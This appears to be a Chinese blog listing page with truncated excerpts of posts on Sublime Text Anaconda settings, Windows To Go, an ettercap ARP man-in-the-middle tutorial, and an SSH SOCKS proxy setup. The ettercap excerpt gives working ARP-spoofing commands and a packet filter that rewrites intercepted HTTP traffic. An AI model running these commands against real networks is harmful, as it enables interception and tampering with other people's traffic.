这里说的Anaconda是指代码编辑器Sublime_Text的插件,安装该插件后,如果计算机安装有Python,Sublime_Text会瞬间变身为Python的IDE,想想看,具备有代码提示功能的Sublime_Text会是有多么舒爽。但是,有时候也会不爽,看看下图
代码并没有出错,但是侧边栏的白点和代码框会让人有些无所适从。这还算好的,当代码多时,那简直是灾难。
其是这是因为Anaconda默认开启了linting功能,linting说白了大概就是提示代码在之后有可能会出错。个人感觉这个功能作用不大,副作用却不小——很影响视觉,破坏心情。应该除掉。
只对该文档生效
应该这样:按Ctrl+Shift+P输入Anaconda,找到该项设置,将linting disable掉。
对今后所有文档生效
在设置中关闭linting后,今后所有python代码都不会白点和代码框。
在菜单中Preferences -> Package Settings中打开Anaconda的user settings配置文件,在其中加入JSON项,并保存。
{
"anaconda_lintin
...windows的安装程序默认选择本地硬盘作为windows的安装磁盘,并不提供安装路径选项。而移动硬盘使用USB接口与计算机进行连接,也不好拆电脑换硬盘,理论上,用常规的方法只能将windows安装在本地硬盘,想要安装在移动硬盘上似乎不可行。
还好有windows to go。
简要介绍下Windows To Go这种方法。Windows To Go是windows 8企业版提供的一种制作可移动磁盘版windows的功能,他将windows企业版的镜像导出到可移动磁盘,当第一次使用制作好的可移动磁盘启动计算机时,该可移动磁盘中的安装程序就会将内含的windows安装在可移动磁盘中,当再次使用其启动计算机时,就如同从本地硬盘上的系统启动一样可以使用自如了。这种方法跟linux的linux live cd有所相似,也有所不同。Windows To Go 安装完成后,可以把数据保存在可移动磁盘的windows系统中,而linux live cd则通常不能。
首先需要准备这些资源和工具
ettercap是linux下的一款中间人攻击和嗅探工具。
中间人攻击之ARP攻击
# ettercap -TqM arp:remote //192.168.1.101/ //192.168.1.1/
上述参数中-T表示文本模式启动,-q表示安静非verbo,-M表示中间人攻击。 上述ip地址分别代表目标ip和网关。
可以带上etterfilter编译的二进制文件hanfeng.ef对抓取到的数据包进行过滤
# ettercap -TqM arp:remote //192.168.1.102/ //192.168.1.1/ -F hanfeng.ef
# filename: hanfeng.filter
if (ip.proto == TCP && tcp.dst == 80)
{
if (search(DATA.data, "Accept-Encoding"))
{
replace("Accept-Encoding", "Accept-Rubbish!");
# 注意:
...科学上网的方法是通过ssh socks代理,首先需要的是一个ssh account。
到网站fastssh.com可以免费注册一个ssh account。
网站fastssh.com有时候会出现被封国内IP的情况,需要找到其国外IP然后才能访问。
于是可以到http://just-ping.com找到fastssh.com在国际上的IP为199.231.84.38.
将该IP和对应域名添加一条记录到本机hosts配置文件中。
# vim /etc/hosts
# #for windows: notepad c:/windows/system32/drivers/etc/hosts
# #添加199.231.84.38 fastssh.com
# #添加199.231.84.38 www.fastssh.com
访问fastssh.com网站并注册账号,成功的话如下图。
如果可以ping通jp-2.serverip.co,就可以使用ssh工具进行socks代理了。
$ ssh -N -D 7070 fa
...